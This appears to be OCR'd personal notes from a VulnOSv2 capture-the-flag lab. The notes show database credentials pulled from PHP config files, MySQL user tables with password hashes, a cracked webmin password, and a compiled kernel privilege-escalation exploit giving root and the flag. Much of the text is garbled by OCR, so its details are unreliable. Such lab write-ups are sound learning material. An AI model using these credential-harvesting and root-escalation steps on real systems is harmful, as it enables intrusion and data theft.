VulnOsV2

05 April 2022 10:26 PM

$+ C O a 192.168.43.174\iabc1 •s Google Hacking DB PaytoadsAllTheThings... Vigenere Solver. mo... BLACK JABC Just Another Bimvare Con-pany Select a zage to JABC ! Your v,orld leader in Bioware What is JABC NOT? Human with a bit of technology What is JABC? with a bit of human$

Google Hacking DB /bin/nc PayloadsAllTheThings... Vigenere Solver- ww... Lxd Privilege Escalatio... GTFOBins Basic Linux Pr

Analyzing Drupat Files -rwxrwxrwx 1 root root 18599 Jan 15 'mysql', 'databasename' , ' database ' username ' password username ' password' 'localhost', 'host' 'port' 3306, 'myprefix_' , 'driver 'mysql', 'databasename' , ' database ' username ' password username ' password' * by To 'localhost' , 'maln ' using the setting. If have all database names prefix

searching passwords in config PHP files ord' 'toor' , passL% vord' •ord' , ord' ' IDA S ; LU0rd passw $dbpass= ' toor' ; $dbuser= ' phpmyadmin ' ; // $cfg[ 'Servers ' 'AllowNom ord'] = TRUE; uord'] TRUE; define( 'DB_USER' , ' username_here' ) ; define( 'DB_USER' , 'root');

user –> root pass —> toor

mysql> 21 21 select * username I id I 2 rows from odm user; I password I b78aae356709f8c31118ea613980954b I 1 084eø343aø486ff05530df6c705c8bb4 1 department I phone 5555551212 555 5555555 1 Email last name webminöexample.com I min guestaexample.com guest first web guest name webmin guest in set pw_reset_code I NULL (0.04 sec)

mysql> select * from users; I uid I name I pass ted I access I login 01 status timezone NULL I mail I language I picture I init theme com I signature I signat data I NULL I I NULL I NULL 1 1 webmin I $S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/Ug I VulnOSv2ölocaldomain.com I 812762 1 1462351302 1 1462351302 1 1 1 Europe/Berlin I I VulnOSvnlocaldomain. 2 rows in set (ø.øø sec) 1 mysql>

mysql> use mysql; Reading table information for completio You can turn off this feature to get a Database changed mysql> show tables; Tables_in_mysql columns_priv I db event func general_log help_category help_keyword help_relation help_topic host ndb_binlog_index

Found webmin 1 98 (hash b78aae356709f8c31118ea613980954b)

webmi nosv2 : /tmp$ uname -a Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux webminöVulnOSv2 : /tmp$

webminöVulnOSv2: /tmp$ gcc pric .c webminöVulnOSv2 :/tmp$ ./priv spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id whoami root -o priv # cd [root $$ Is flag. txt # cat flag. txt Hello and welcome. You successfully compromised the company Congratulations ! !! Hope you enjoyed it. What do you think of A. 1.? " JABC" and the server completely !!